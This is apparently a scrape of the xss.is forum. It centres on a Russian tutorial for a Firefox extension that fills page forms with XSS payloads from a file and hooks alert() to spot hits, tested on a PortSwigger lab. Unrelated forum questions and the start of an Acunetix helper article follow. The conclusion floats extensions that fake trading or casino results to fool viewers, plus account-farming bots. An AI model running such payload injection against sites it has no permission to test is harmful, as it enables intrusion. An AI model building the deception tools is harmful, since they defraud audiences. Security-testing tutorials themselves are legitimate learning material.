У нас начинает формироваться подобие многофункционального сканера уязвимостей. Может появиться желание расширить количество видов проверок уязвимостей, либо добавить какие-то новые уязвимости. Например, обладая знаниями из статьи, вы без проблем сможете не просто добавить сканер SQLi, но и организовать запуск Sqlmap через нативные сообщения. Поэтому было бы неплохо, изменить структуру нашего приложения. Превратить сборную солянку в нормальный поддерживаемый модульный код. Для этого оптимально подойдет Webpack.

Прикручиваем Webpack​

Если вы занимаетесь Javascript-программированием, вы скорее всего уже знакомы с Webpack. Поэтому, я не буду сильно заострять внимание на мелочах и все описывать. Пробегусь сугубо по верхам.

Вебпак это комбайн, который анализирует зависимости и по заданным пользователям правилам создает готовое к использованию приложение. В данном случае, расширение для браузера. Может быть React-приложение, может быть какое угодно. Для нас важно, что при помощи Вебпака мы можем писать не заморачиваясь о разных зависимостях, как между своими файлами, так и пакетами NPM, При необходимости, во время сборки, могут быть применены разного рода функции. Например, минификации или обфускации. В итоге, в исходниках у вас огромные сложный проект, а на выходе минимальный скомпонованный набор готовых к работе файлов.

После переделки проекта, нас должна получиться подобная структура файлов:

1733051154520.png

В “static” попадает все, что не планируется изменяться, т.е. то что будет копировать Webpack по принципу “как есть”. Например, можно туда же определить html-файлы для попап-окна или опций. Если используется css и без каких-то препроцессоров, их тоже смело можно закидывать в “static”.

Папка “src” предполагает под собой сборку из исходников. В нашем случае в ней манифест и фоновые скрипты. Манифест скорее для примера, так как конфигурация Webpack предполагает подмену значений “name” и “description” из package.json. Содержимое файлов выкладываю в архиве ssti_webpack.

Специально не стал удалять лишнее из проекта (копирование css, обработку контентных скриптов), чтобы у вас был перед глазами пример. Плюс, контентный скрипт нам еще потребуется. В сущности, вебпак в данной конфигурации не делает особых преобразований. Разве что слегка правит manifest.json, собирает и упаковывает зависимости с основным кодом в один файл. Все остальное просто копируется. Если внимательно почитать конфиг, на выходе мы возвращаем список объектов, в которых описаны правила работы для вебпака. Есть входные точки, с указанием шаблонов и правил поиска файлов. Есть конфигурация плагинов, которые обрабатывают тот или иной тип файлов. Есть выходные точки, указывающие куда и под какими именами складывать скомпонованные файлы.

Файл package.json

JSON:Copy to clipboard

{
    "name": "vulnerability-checker",
    "version": "1.0.0",
    "description": "Developed for XSS.is",
    "scripts": {
      "build": "webpack --config webpack.config.js --mode production"
    },
    "author": "",
    "license": "ISC",
    "devDependencies": {
      "babel-loader": "^8.4.1",
      "copy-webpack-plugin": "^6.4.1",
      "source-map-loader": "^1.1.3",
      "transform-json-webpack-plugin": "^0.0.2",
      "web-ext": "^8.3.0",
      "webpack": "^4.46.0",
      "webpack-cli": "^4.10.0"
    }
  }

Обращаю внимание, что использую 4ю версию вебпака. В пятой прошли мощные изменения, из-за которых я неоднократно сталкивался с проблемами. Например, беда с полифилами. По-хорошему нужно бы с этим разобраться, но для разработки под себя я выбрал простейший путь понижения версии.

После создания package.json, мощно установить зависимости через “npm -i” и запустить сборку расширения через:

JavaScript:Copy to clipboard

npm run build

На выходе появится папка build, из которой и надо добавлять расширение в браузер.

Теперь все готово к нормальной разработке и можем переходить к добавлению первых файлов

Определяем точку инъекции​

Работать будем снова с простенькой лабой, но для того, чтобы решение было интересным и полезным к дальнейшему применению, будет крайне неправильно остановиться только лишь на решении лабы. Во-первых, будем использовать список полезных нагрузок полученный из файлов. Во-вторых, сделаем чек уязвимости не через отправку запросов, а автоматизацией в браузере. Расширение будет брать пэйлоад из файла, запихивать его в текстовое поле и жать кнопку “Отправить”. После отправки, ищем результат работы полезной нагрузки. И так до тех пор, пока не наткнемся на подходящую нагрузку.[Ссылка на лабу](https://portswigger.net/web-security/cross-site-scripting/reflected/lab- html-context-nothing-encoded).

Само решение без хитростей, нужно отправить в поисковом поле

JavaScript:Copy to clipboard

<script>alert()</script>

1733050646821.png

Тут все просто, на странице есть одна форма, одно поле ввода и одна кнопка. В реальной жизни, чтобы полноценно просканировать страничку на наличие XSS, придется написать несколько сканеров. Самый простой вариант, как в нашем случае — перебрать формы, по очереди в каждый инпут запихать полезную нагрузку и отправить. Хуже, когда поля ввода не input, или input но не в форме или это JS-приложение, которое занимается отправкой и получением данных. Сами понимаете, голь на выдумки хитра, каждый лепит как ему вздумается. Поэтому и потребуется куча сканеров, которые будут выискивать всевозможные варианты отправки данных, перехватывать и анализировать запросы и т.д. Сконцентрируемся на определении уязвимости, а не вариациях как отправить полезную нагрузку.

Чтобы взаимодействовать с формой, потребуются контентные скрипты. В этот раз мы будем инициировать инъекцию, используя функцию executeScript() свойства “scripting”.

Сначала в разрешения добавляем эти три объекта, без них магии не случится:

JSON:Copy to clipboard

{
    ...
    "permissions": [
        ...,
        "tabs",
        "activeTab",
        "scripting"
    ]
    ...
}

В фоновом скрипте добавлю обработчик нового пункта меню, а также импортирую функцию, которая будет запускать проверку на XSS:

JavaScript:Copy to clipboard

...
import { startXSSCheck } from './scanners/XSS/simple-check'

...

function onClickMenuHandler(info, tab) {
  switch(info.menuItemId) {
      case "ssti-get-params-detect":
          return checkParamsSSTI(info.pageUrl)
      case "xss-inputs-detect":
          return startXSSCheck(info, tab)
  }
}

Создам соответствующий файл и функцию. Пока, она будет достаточно простой, чтобы убедиться, что инъекция фонового скрипта происходит и все работает как надо:

JavaScript:Copy to clipboard

async function startXSSCheck(info, tab, startedCheck) {
    let result = await browser.scripting.executeScript({
        target: {tabId: tab.id},
            func: () => {
                console.log('location:', window.location.href);
                return {title: 'Result', value: window.location.href}
            },
    });   
    console.log('Result', result)
}

export {
    startXSSCheck
}

Пересоздам расширение командой “build” и заново загружаю расширение в браузер и кликаю по меню на рандомной странице:

1733050566004.png

Супер! Скрипт отрабатывает на странице и возвращает значение обратно. Возвращение значения нам потребуется. Если жестко прописать нужный инпут и форму, это будет слишком не интересно. Все же цель научиться писать чекер, а не просто решить самую простейшую лабу. Поэтому, мы будем подгружать несколько контентных скриптов. Первый получает данные инпутов и форм, второй заполняет инпуты полезной нагрузкой и отправляет форму.

В лабе есть сюрприз: у формы, инпута и кнопки нет каких-то опознавательных знаков. Подобное часто встречается в практике. Например, кто занимался парсингом того же Google, часто сталкиваются с ситуацией, когда нужно работать с рандомной генерацией структуры выдачи. Нам чуть легче, можно просто обходить все элементы используя номер совпадения.

JavaScript:Copy to clipboard

async function startXSSCheck(info, tab, startedCheck) {
    let result = await browser.scripting.executeScript({
        target: {tabId: tab.id},
            func: () => {
                let forms = document.querySelectorAll('form')
                let result = Array.from(forms).map(form => {
                    let inputs = Array.from(form.querySelectorAll('input')).map(item => ({
                        id: item.id,
                        class: item.class
                    }))


                    let button = Array.from(form.querySelectorAll('button')).map(item => ({
                        id: item.id,
                        class: item.class
                    }))[0]


                    return {
                        id: form.id,
                        inputs, button
                    }
                })
                return result
            },
    });   


    console.log('Result', result)
    await checkForms(result, tab.id, info.pageUrl)
}


export {
    startXSSCheck
}

Процесс фильтрации кнопки привел просто для примера. По хорошему, он конечно сильно замороченнее.

1733050527277.png

Теперь, когда у нас есть формы, мы можем спокойно запустить цикл, который будет по очереди подставлять полезную нагрузку и жать кнопку. Открытым остается вопрос, как теперь нам выполнить следующую часть скрипта, передав аргументы. Для этого достаточно добавить свойство “args” при инъекции скрипта. Глянем, как это выглядит на практике:

JavaScript:Copy to clipboard

async function checkForms(forms, tabId, pageUrl) {
    for (const [index, form] of forms.entries()) {
        console.log(form, index)
        for (const [indexInput, input] of form.inputs.entries()) {
            await browser.scripting.executeScript({
                target: {tabId},
                args: [{form, input, formIndex: index, indexInput}],
                func: (formData) => {
                    console.log(formData)
                },
            });   
        }


    }
}

1733050500905.png

Теперь есть все компоненты, чтобы заставить код работать. Я сделаю простую реализацию, при которой элементы будут искаться по индексу:

JavaScript:Copy to clipboard

async function checkForms(forms, tabId, pageUrl) {
    let payload = '<script>alert(1)</script>'


    for (const [index, form] of forms.entries()) {
        console.log(form, index)
      
        await browser.tabs.update(tabId, {
            url: pageUrl
        })


        for (const [inputIndex, input] of form.inputs.entries()) {
            await browser.scripting.executeScript({
                target: {tabId},
                args: [{form, input, formIndex: index, inputIndex, payload}],
                func: (formData) => {
                    let form = document.querySelectorAll('form')[formData.formIndex]
                    let input = form.querySelectorAll('input')[formData.inputIndex]
                    let button = form.querySelectorAll('button')[0]


                    input.value = formData.payload


                    button.click()
                },
            });   
        }


    }
}

1733050432585.png

Все выглядит рабочим, осталось только как-то определить выполнение кода. Можно, конечно, не париться и использовать innerHTML. Это неплохой способ, когда на выходе нагрузка не должна измениться и в этой лабе прокатит. Все полетит в тар-тарары, если будет использоваться обход замены типа такого ...

JavaScript:Copy to clipboard

const alertFunc = window.alert

window.alert = function() {
    console.log('Alert detection')
    alertFunc.apply(window.arguments)
}

Точно так же можно переопределить confirm, print, etc. Но как подгрузить скрипт? Скрипт должен срабатывать сразу, как только происходит загрузка страницы. При этом, цеплять контентный скрипт к каждой открываемой странице, крайне безумное решение. Но на этот случай у нас есть функция registerContentScripts() объекта scripting. Как вы понимаете, она регистрирует контентный скрипт. Делает тоже самое, что и указание скрипта в манифесте, но в нужной части кода. Вставим в функцию checkForms():

JavaScript:Copy to clipboard

await browser.scripting.registerContentScripts({
        id: 'script-simple-check-xss',
        js: ["content.js"],
        allFrames: true,
        runAt: "document_start",
        matches: [pageUrl]
})

И все было бы прекрасно. Уязвимость отрабатывает, скрипт срабатывает. Но….

1733050380621.png

А причина в том, как добавляется наш скрипт. Если мы переключимся на вкладку Debug, то увидим следующую картинку:

1733050369037.png

Наш скрипт добавляется изолированно. Не особо понятно, почему при инъекции скрипта из расширения ему недоступен основной объект API расширения… В любом случае, красивое и правильное решение найти не удалось. Firefox не дает каких- то особых возможностей. Поэтому был решено костылить. Может выбрал не лучшее решение, но вполне рабочее. Суть в том, что отправку данных в фоновый скрипт вынес в отдельный контентный скрипт. Наш, как оказалось, “анонимный скрипт”, фиксирует уязвимость и отправляет данные в контентный скрипт через window.postMessage(). Контентный скрипт получает данные и отправляет в фоновый. Надеюсь не запутал.

Решение, наверное, не самое оптимальное, но работает. На все посещаемые страницы будет подгружаться код с слушателем. С другой стороны, ну будет лишний прослушиватель и чего? Мы же не чекаем на всех подряд страницах уязвимость. Чек уязвимости происходит исключительно по клику в меню.

1733050352903.png

Что нужно сделать, чтобы все заработало? Для начала создаем файл, который будет отслеживать сообщение от postMessage и перекидывать в фон. Назвал скрипт content-notifier.js. Вот его код:

JavaScript:Copy to clipboard

window.addEventListener("message", (event) => {
    if (event.source === window &&
        event.data &&
        event.data.direction === "found-xss"
      ) {
        console.log('XSS vulnerability found')
        browser.runtime.sendMessage({
            action: 'notify',
            msg: 'XSS vulnerability found'
        })
      }
    return true
})

content.js переименовал в anonymouse.js.

JavaScript:Copy to clipboard

import { checkMessageWindows } from './XSS/simple-check'

checkMessageWindows()

Simple-check:

function checkMessageWindows() {
    const alertFunc = window.alert


    window.alert = function() {


        console.log('Alert detection')
        document.addEventListener('DOMContentLoaded', event => {
            window.postMessage(
                {
                    direction: "found-xss",
                    message: "XSS vulnerability found",
                },
                "*",
            );
        })

        return alertFunc.apply(window.arguments)
    }
}

export {
    checkMessageWindows
}

Отправка сообщения происходит когда страница полностью загружена, чтобы быть уверенным, что контентный скрипт прогрузился и готов принять сообщение.

Не забываем в фоновый скрипт добавить слушатель сообщений расширения:

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener(msg => console.log('Message', msg))

Заключительный этап, это правка конфига вебпака. Вместо обработки файла content.js, мы должны обработать два новых файла:

JavaScript:Copy to clipboard

const path = require('path')
const CopyWebpackPlugin = require('copy-webpack-plugin')
const TransformJson = require('transform-json-webpack-plugin')
const package = require('./package.json')

const _resolve = {
  extensions: ['.jsx', '.js'],
  modules: [
    path.resolve(__dirname, 'node_modules'),
    'node_modules'
  ],
}

const _module = {
    rules: [
      {
        test: /\.jsx?$/,
        exclude: path.resolve(__dirname, 'src'),
        enforce: 'pre',
        use: 'source-map-loader'
      },
      {
        test: /\.jsx?$/,
        exclude: /node_modules/,
        use: 'babel-loader'
      },
    //   {
    //     test: /\.css$/,
    //     use: [{
    //       loader: 'style-loader'
    //     }, {
    //       loader: 'css-loader'
    //     }],
    //   }
    ]
  }

  module.exports = [
    {
      devtool: 'source-map',
      entry: [
        path.resolve(__dirname, 'src', 'background', 'background.js')
      ],
      plugins: [
        new CopyWebpackPlugin({
            patterns: [{
                from: "static/images", to: 'images'
            }]
        }),
        new TransformJson({
          source: path.resolve(__dirname, 'src', 'manifest.json'),
          filename: 'manifest.json',
          object: {
            description: package.description,
            version: package.version
          }
        })
      ],
      output: {
          path: path.resolve(__dirname, 'build'),
          filename: 'background.js'
      },
      resolve: _resolve,
      module: _module
    },
    {
        devtool: 'source-map',
        entry: [
          path.resolve(__dirname, 'src', 'content', 'anonymouse.js')
        ],
        output: {
          path: path.resolve(__dirname, 'build'),
          filename: 'anonymouse.js'
        },
        resolve: _resolve,
        module: _module
      },
      {
          devtool: 'source-map',
          entry: [
            path.resolve(__dirname, 'src', 'content', 'content-notifier.js')
          ],
          output: {
            path: path.resolve(__dirname, 'build'),
            filename: notifier.js'
          },
          resolve: _resolve,
          module: _module
      }
  ]

Проверьте чтобы в манифесте был прописан правильный контентный скрипт. В данном случае, это notifier.js

JSON:Copy to clipboard

{
    "manifest_version": 3,
    "name": "SSTI Detect",
    "description": "Designed for XSS.is",
    "version": "1.0.0",
    "icons": {
        "48": "images/logo_48.png",
        "96": "images/logo_96.png"
    },
    "content_scripts":[
        {
            "js": ["notifier.js"],
            "matches": ["<all_urls>"]
        }
    ],
    "background": {
        "scripts": ["background.js"]
    },
    "host_permissions": [
        "<all_urls>"
    ],
    "permissions": [
        "tabs",
        "activeTab",
        "scripting",
        "contextMenus",
        "notifications"
    ]
}

Заморачиваться с выводом оповещения пользователю в этот раз не стану. Мы это уже делали разными способами… В бэкграунд прилетает сообщение, а как дальше с ним поступить вы уже можете сами выбрать. Перейдем к финальным правкам, финальному рывку.

Получение данных из файла​

Будем получать список полезных нагрузок для нашего расширения из файла. Есть несколько подходов. Первый вариант, это жестко привязать файл к расширению, предоставив доступ через web_accessible_resources c дальнейшим получением ссылки на файл через getURL объекта runtime. Второй вариант, это дать пользователю возможность выбрать файл самому. Для этого, создать input и “кликнуть” по нему. Без лишних слов, пишем код. Сначала в манифес добавим:

JavaScript:Copy to clipboard

"web_accessible_resources": [
        {
          "resources": [ "files/*.txt" ],
          "matches": [ "<all_urls>" ]
        }   
      ]

Так как в проекте используется webpack, сами текстовые файлы кладем в static/files, а в конфиге добавляем секцию в копировании файлов:

JavaScript:Copy to clipboard

new CopyWebpackPlugin({
            patterns: [{
                from: "static/images", to: 'images'
            }, {
                from: "static/files", to: 'files'
            }]
        }),

Создадим функцию чтения:

JavaScript:Copy to clipboard

async function readSimpleXSSPayloads() {

    let fileName = await browser.runtime.getURL("files/simple-xss.txt")
    let fileData = await fetch(fileName)
    let fileText = await fileData.text()
    let payloadList = fileText.split('\r\n')
    return payloadList
  
}

Осталось в checkForms() удалить константу с полезной нагрузкой и добавить цикл для прохода по значениям нагрузок:

JavaScript:Copy to clipboard

async function checkForms(forms, tabId, pageUrl) {
    // let payload = '<script>alert(1)</script>'   
    let payloads = await readSimpleXSSPayloads()
    
   await browser.scripting.registerContentScripts([{
            id: 'script-simple-check-xss',
            js: ["anonymouse.js"],
            allFrames: true,
            runAt: "document_start",
            matches: [`${pageUrl}*`],
            world: 'MAIN',
            matchOriginAsFallback: true
        }])     

    for (const payload of payloads) {
        ...

Но напомню, что не стоит переусердствовать. Слишком большие словари поставят раком ваш браузер или, как минимум, превратят процесс чека в невероятно длинный.

Второй вариант выглядит так:

JavaScript:Copy to clipboard

async function readFile() {
  const input = document.createElement("input")
  input.type = 'file'
  input.addEventListener('change', chooseFileHandler)
  input.click()
}


async function chooseFileHandler(event) {
  let fileName = event.target.files[0];


  if(fileName) {
    let reader = new FileReader();
    reader.onload = function(e) {
      let contents = e.target.result;
      let list = contents.split('\r\n')
      console.log(list)
    }
    reader.readAsText(fileName);
  }
}

Соответственно, чтобы все заработало, вместо “console.log(list)“ нужно вызывать функцию чека, передавая ей полученные значения. Т.е. процесс запуска меняет свою очередность. Из плюсов, не надо ничего прописывать в манифесте. Пользователь просто выбирает файл с нагрузками и получает удовольствие.

Заключение​

Что же, на мой взгляд получилась достаточно информативная статья. Мы написали серьезное и полезное расширение, которое помогает быстро получить реальный IP- адрес. Ну или убедиться, что без усилий этого сделать невозможно. При необходимости, у вас есть пример подключение к расширению сторонних приложений, того же masscan. Так же можете и подрубить стресс-сервис, чтобы полностью реализовать описанную c0d3x методику. Хотя повторюсь, что это будет лишним в рамках расширения.

Кроме того, мы неплохо закрепили навыки сканирования сайта на предмет реальных уязвимостей. Если вы из тех, кто привык искать точку входа через конкретные уязвимости, например misconfig, вы можете доработать расширение и получить достаточно приятный инструмент. Нужно лишь формализовать ваш опыт, переписав его в полноценный пэйлоады и правила проверок. Главное не забывать про безопасность, чтобы не получилось неприятных казусов и случайных засветов.

Если вы осилили обе статьи, вы можете написать 99,99% расширений. Вы умеете использовать большую часть из доступного API Firefox. К слову, адаптировать под тот же Chrome нет никаких сложностей. Да, между апи этих движков есть разница, но она не радикальная.

Но даже с учетом того, что мы рассмотрели уже многие интересности, двигаться есть куда. Есть задумка по статье о написании ботов “нагуливающих” профили пользователей. На большинстве интересных для работы ресурсов, требуется наработка “рейтинга доверия”, фарминга акков. Все в ваших руках, если тема зайдет, то будет и следующая часть с реализацией подобного бота.

Еще одна, на мой взгляд, классная идея “как обмануть всех при помощи расширения”. Многие видели казиношные стримы, когда автору казино дает “правильный” личный кабинет, в котором тот обязательно выиграет. Но даже без подобного личного кабинета, в некоторых темах можно кое-то сделать при помощи расширений. Просто подменяя информацию “на лету”. Хочешь стримить про трейдинг, но нет денег? Без проблем. Главное написать расширение, которое будет правильно запоминать информацию и на лету перехватывать изменения на сайте, подменяя на нужные. В общем, вариантов по использованию расширений вагон и маленькая тележка. Если развитие этого направления интересно, дайте знать.

P.S.
Чисто ради интереса, поделитесь сколько времени ушло на изучение этой темы)))

Html5 и Css3
ID: 67668b27b4103b69df375cd7
Thread ID: 112131
Created: 2024-04-06T18:07:17+0000
Last Post: 2024-04-09T19:32:59+0000
Author: Onyx450
Replies: 3 Views: 570

Народ начал изучать веб разработку,подскажите пожалуйста где можно найти хороший актуальный материал для обучения и практики по html и css ?

Сделать выборку из нескольких таблиц
ID: 67668b27b4103b69df375d0a
Thread ID: 90702
Created: 2023-06-16T18:54:08+0000
Last Post: 2023-08-03T11:24:58+0000
Author: Lanet
Replies: 3 Views: 570

Возникла необходимость сделать выборку из 4 таблиц - текстовых файлов.
В какой программе это максимально просто сделать?

Файлы огромные - до миллиарда записей, то есть какая-то обычная прога так понимаю не потянет.
С СУБД незнаком, но запрос SQL представляю как написать.

Есть что-то нубовское, с максимально простым графическим интерфейсом, где это можно сделать?

Спасибо!

plesk error ssl
ID: 67668b27b4103b69df375ce3
Thread ID: 108998
Created: 2024-02-25T01:40:55+0000
Last Post: 2024-02-25T04:06:13+0000
Author: jamesblacka
Replies: 1 Views: 564

everytime I set up a plesk I get a error for ssl:
Error: Could not get Mozilla tls config: cURL error 77: (see https://curl.haxx.se/libcurl/c/libcurl-errors.html)

can someone help me out?

JS. Import key
ID: 67668b27b4103b69df375d40
Thread ID: 73759
Created: 2022-09-29T13:26:41+0000
Last Post: 2022-09-29T13:26:41+0000
Author: Fluttercode
Replies: 0 Views: 564

Кто знает, как можно импортировать ключ шифрования в формате PEM на nodejs для того чтобы использовать его в интерфейсе crypto? Есть CryptoSubtle.importKey, но он только в браузерах работает.

JS: Пишем расширение для браузера — свой Acunetix Helper
ID: 67668b27b4103b69df375cad
Thread ID: 126951
Created: 2024-11-15T09:47:14+0000
Last Post: 2024-11-15T09:47:14+0000
Author: petrinh1988
Prefix: Статья
Replies: 0 Views: 563

Автор petrinh1988
Источник https://xss.is

Будем программировать помощника для Acunetix. На это у меня есть, минимум, три причины:

Во-первых, окунем пользуется огромное количество людей, в том числе форумчан. Соответственно, вполне актуально для жителей XSS. Во-вторых, сам пользую и сам давно хотел накидать какие-то улучшалки, но как водится…. свои сапоги всегда подождут. Ну и в третьих… у меня была уже статья про работу с Acunetix API. Вы всегда можете обратиться к ней, так как здесь я постараюсь избежать объяснений касающихся апи. Интересно, что через некоторое время после публикации, Litara_B удивил меня прислав скрин…

1731662519864.png

Кому-то (все знают кому), статья настолько понравилась, что он забрал код себе в канал. Ну забрал и забрал, хотя можно было бы сослаться, если не на статью, то хотя бы на сам XSS.is Значит я не ошибся и тема действительно нравится людям. Что же, самое время углубиться и сделать еще одну приятную утилиту.

Важно! Если вы случайно попали на эту статью и не хотите программировать, а хотите просто само расширение, переходите сразу к инструкции по использованию и скачивайте архивы прикрепленные к статье.

Вторая оговорка в том, что расширение будет написано для браузера Firefox, но нет никаких проблем адаптировать под тот же Chrome.

Что будет делать расширение?​

Важно понимать, что изначально, отдельной статьи по Acunetix, не должно было быть. Расширение было частью другой статьи, которая уже была практически готова к публикации. Но… в какой-то момент я понял, что важно добавить кой- какой функционал и это настолько изменило статью, что пришлось разбить на две. Для сохранения повествования, пока будем исходить из функционала связанного с добавлением объекта в сканер и запуске сканирования.

Просто дадим возможность пользователю в полтора клика добавить активный сайт как новый таргет и запустить сканирования. Установил расширение, добавил в тулбар, на нужном сайте кликнул по иконке и выбрал действие. При этом, важно создать хоть какую-то защиту от дублирования целей и информативность.

Забегая вперед покажу экраны расширения:

1731662543830.png

Данный экран расширения должен демонстрироваться в случае, если у нас нет никакой информации о таргете. Соответственно, пользователь может просто добавить цель в окуня. Либо создать цель и сразу запустить сканирование.

1731662562099.png

Если с именем хоста есть несколько таргетов, то пользователь должен иметь возможность выбрать с каким объектом поработать. Да, не самый информативный выбор, но по прочтение статьи вы сможете легко это исправить.

1731662580354.png

Ну и последний важный сейчас экран, выводит информацию об одном единственном объекте. Мы видим, что по объекту было выполнено сканирование 13-го ноября 2024 года. Критических уязвимостей не нашли, нашли одну с высоким риском. Ну и два кнопки:

  1. Update - обновляет информацию об объекте. Это принудительное получение данных из API, а не из локального хранилища. Но об этом позже.
  2. New Scan, соответственно, позволяет запустить новое сканирование.

Начнем!​

Первым делом, как водится, займемся манифестом.

JSON:Copy to clipboard

{
    "manifest_version": 3,
    "name":"Acunetix Helper | XSS.is",
    "description": "The extension is intended to demonstrate the development of a browser extension as part of an article for the XSS.is website.",
    "version": "0.0.1",
    "icons": {
        "48": "assets/images/logo.png",
        "96": "assets/images/logo.png"
    },
    "options_ui": {
        "page": "assets/html/options.html"
    },
    "action": {
        "default_icon": "assets/images/logo.png",
        "default_title": "Acunetix Helper | XSS.is",
        "default_popup": "assets/html/popup.html"   
    },
    "background": {
        "scripts": ["ext_js/global.js", "ext_js/acunetix.js", "ext_js/background.js"]
    },
    "permissions": [
        "storage",
        "unlimitedStorage",
        "tabs"
    ],
    "host_permissions":[
        "<all_urls>"
    ],
    "browser_specific_settings": {
        "gecko": {
            "id": "xss_is@extension_example.com"
        }
    }
}

Соответственно, описываем внешний вид расширения: имя, описание, версию и иконку. Указываем окно опций, причем оно будет встроенным в интерфейс Firefox. Всплывающее окошко, которое и будет основным интерфейсом пользователя. Из интересного, это свойство “browser_specific_settings”.

Ранее этого свойства было достаточно чтобы можно было распространять расширение архивом. Можно было просто заархивировать расширение, после чего свободно устанавливать в браузер. Как я понимаю, сейчас остался только один способ полноценной установки расширения — это загрузить его в стор мозиллы и выкачать, чтобы получить подпись. Без подписи ни в какую не хочет. Поэтому, чтобы полноценно пользоваться расширением, зарегистрируйтесь на мозилле, загрузите туда архив, потом скачайте в виде .xpi и пользуйтесь. Либо, по необходимости, каждый раз добавляйте как расширение разработчика.

Окно опций​

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../css/bootstrap.min.css">
    <title>Document</title>
</head>
<body>
    <div class="container">
        <h3>Acunetix params</h3>
        <form>
            <div class="mb-3">
              <label for="api-url" class="form-label">API URL</label>
              <input type="text" class="form-control" id="api-url">
              <div id="api-url-help" class="form-text">Standart url is <span class="text-nowrap bg-body-secondary">https://127.0.0.1:3443/api/v1</span></div>
            </div>
            <div class="mb-3">
                <label for="api-key" class="form-label">API Key</label>
                <input type="text" class="form-control" id="api-key">
                <div id="api-key-help" class="form-text">You can get api key <a href="https://localhost:3443/app/profile">here</a></div>
            </div>
            <button id="save-and-init" class="btn btn-success" style="display: none;">Save and Initialise</button>
            <div id="profiles-info" class="mb-3">
                <label for="api-profile-scan" class="form-label">Default profile scan</label>
                <div class="row g-2">
                    <div class="col-11">
                        <select id="api-profile-scan" class="form-select">
                        </select>
                    </div>
                    <div class="col-1">
                        <button class="btn btn-outline-secondary" id="update-scan-profiles">
                            <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-arrow-clockwise" viewBox="0 0 16 16">
                                <path fill-rule="evenodd" d="M8 3a5 5 0 1 0 4.546 2.914.5.5 0 0 1 .908-.417A6 6 0 1 1 8 2z"/>
                                <path d="M8 4.466V.534a.25.25 0 0 1 .41-.192l2.36 1.966c.12.1.12.284 0 .384L8.41 4.658A.25.25 0 0 1 8 4.466"/>
                            </svg>
                        </button>
                    </div>
                </div>


                <div id="api-profile-scan-help" class="form-text" style="display: none;">To load the list of available scan profiles, enter the API key and click on the 'Save and Initialise' button.</div>
            </div>
            <button id="save-btn" class="btn btn-primary">Save</button>
          </form>
    </div>
    <script src="../../ext_js/global.js"></script>
    <script src="../js/options.js"></script>
</body>
</html>

Обратите внимание, что предполагается два окна опций. Первое, когда у нас нет никаких данных:

1731662652004.png

Путь подставиться автоматически. Да, прямо на скрине упоминается, что стандартный адрес это 127… но если ваша машина изранена вмешательствами, как и у меня, url может не прокатить. Поэтому и сделал автоподстановку с localhost.

Все, что нужно пользователю сделать, это добавить ключ API и сохранить. После чего окно будет выглядеть следующим образом:

1731662668960.png

Здесь у нас появляется выбор стандартного профиля сканирования. Если нажать кнопку “Обновить”, соответственно, должны загрузиться профили из апи. Стандартный профиль используется для указания при сканировании, т.е. пользователь не будет иметь возможности выбрать разные профили для разных таргетов. Но, все у вас в руках… достаточно добавить чуть-чуть кода, если оно вам нужно.

За оживление интерфейса отвечают два скрипта:

  1. global.js - это общий файл, хранящий объект со всеми возможными действиями при обмене сообщениями между разными частями расширения. Из фоновых в опции или попап и т.д.
  2. options.js - скрипт работающий только на странице опций, отвечающий за сохранение и вывод данных.

JavaScript:Copy to clipboard

const MSG_ACTIONS = {
    loadData: 'loadData',
    saveData: 'saveData',
    clearData: 'clearData',
    saveAndInit: 'saveAndInit',
    updateProfiles: 'updateProfiles',
    getTargetsFromStorage: 'getTargetsFromStorage',
    getTargetsFromAPI: 'getTargetsFromAPI',
    getTargetsInfo: 'getTargetsInfo',
    getTargetDetails: 'getTargetDetails',
    createTarget: 'createTarget',
    createTargetAndScan: 'createTargetAndScan',
    createNewScan: 'createNewScan'
}

Вряд ли в global что-то интересное, поэтому разберем options.js. Начинается все с инициализации:

JavaScript:Copy to clipboard

async function init() {
    let data = await browser.runtime.sendMessage({
        action: MSG_ACTIONS.loadData
    })
    if (!data)
        return fillDefaultValues()
    fillApiSettings({...data})
}

init()

Скрипт запрашивает данные у фонового скрипта. Если сохраненных данных нет, заполняем все стандартными значениями.

JavaScript:Copy to clipboard

function fillDefaultValues() {
    let btnInit = document.querySelector('#save-and-init')

    btnInit.style.display = 'block'
    btnInit.addEventListener('click', btnSaveAndInitHandler)
    document.querySelector('#api-url').value = `https://localhost:3443/api/v1`
    document.querySelector('#api-profile-scan-help').style.display = 'block'
    document.querySelector('#save-btn').style.display = 'none'
    document.querySelector('#profiles-info').style.display = 'none'
}

В ином случае, выводим данные хранилища, включая сохраненные профили сканирования:

JavaScript:Copy to clipboard

let globalScanProfiles

function fillApiSettings(acunetix) {
    const {apiKey, apiURL, scanProfiles, defaultProfile} = acunetix

    document.querySelector('#api-url').value = apiURL
    document.querySelector('#api-key').value = apiKey

    fillScanProfiles(scanProfiles, defaultProfile)
}

function fillScanProfiles(profiles, defaultProfile) {

    if (!profiles || !profiles.length) return

    let selProfiles = document.querySelector('#api-profile-scan')
    selProfiles.innerHTML = ''

    profiles.forEach((scanProfile, index) => {
        let option = document.createElement('option')
        option.value = scanProfile.profile_id
        option.innerHTML = scanProfile.name
        selProfiles.append(option)
        if (scanProfile.profile_id == defaultProfile)
            selProfiles.selectedIndex = index
    })

    globalScanProfiles = profiles
}

В принципе, код вполне понятен. На всякий случай продемонстрирую, как выглядит сам объект сохраненный в локальном хранилище:

1731662774988.png

Остается назначить обработчики событий на кнопки. Начнем с кнопки инициализации:

JavaScript:Copy to clipboard

async function btnSaveAndInitHandler(event) {
    event.preventDefault()
    let apiURL = document.querySelector('#api-url').value
    let apiKey = document.querySelector('#api-key').value

    if (!apiKey || !apiURL) return alert('Api URL or api key is empty')

    try {
        let scanProfiles = await browser.runtime.sendMessage({
            action: MSG_ACTIONS.saveAndInit,
            apiURL, apiKey
        })
        fillScanProfiles(scanProfiles, scanProfiles[0].profile_id)
    } catch(e) {
        alert('Error!')
        browser.runtime.sendMessage({
            action: MSG_ACTIONS.clearData
        })
    }
    document.querySelector('#save-and-init').style.display = 'none'
    document.querySelector('#api-profile-scan-help').style.display = 'none'
    document.querySelector('#save-btn').style.display = 'block'
    document.querySelector('#profiles-info').style.display = 'block'
}

Элементарная защита от дурака и передача фоновому скрипту данных на сохранение. В случае ошибки, просто сбрасываем все данные. Что касается функция фоновых скриптов, я к ним скоро перейду, просто пытаюсь как-то разграничить разные разделы.

Кнопка сохранения настроек:

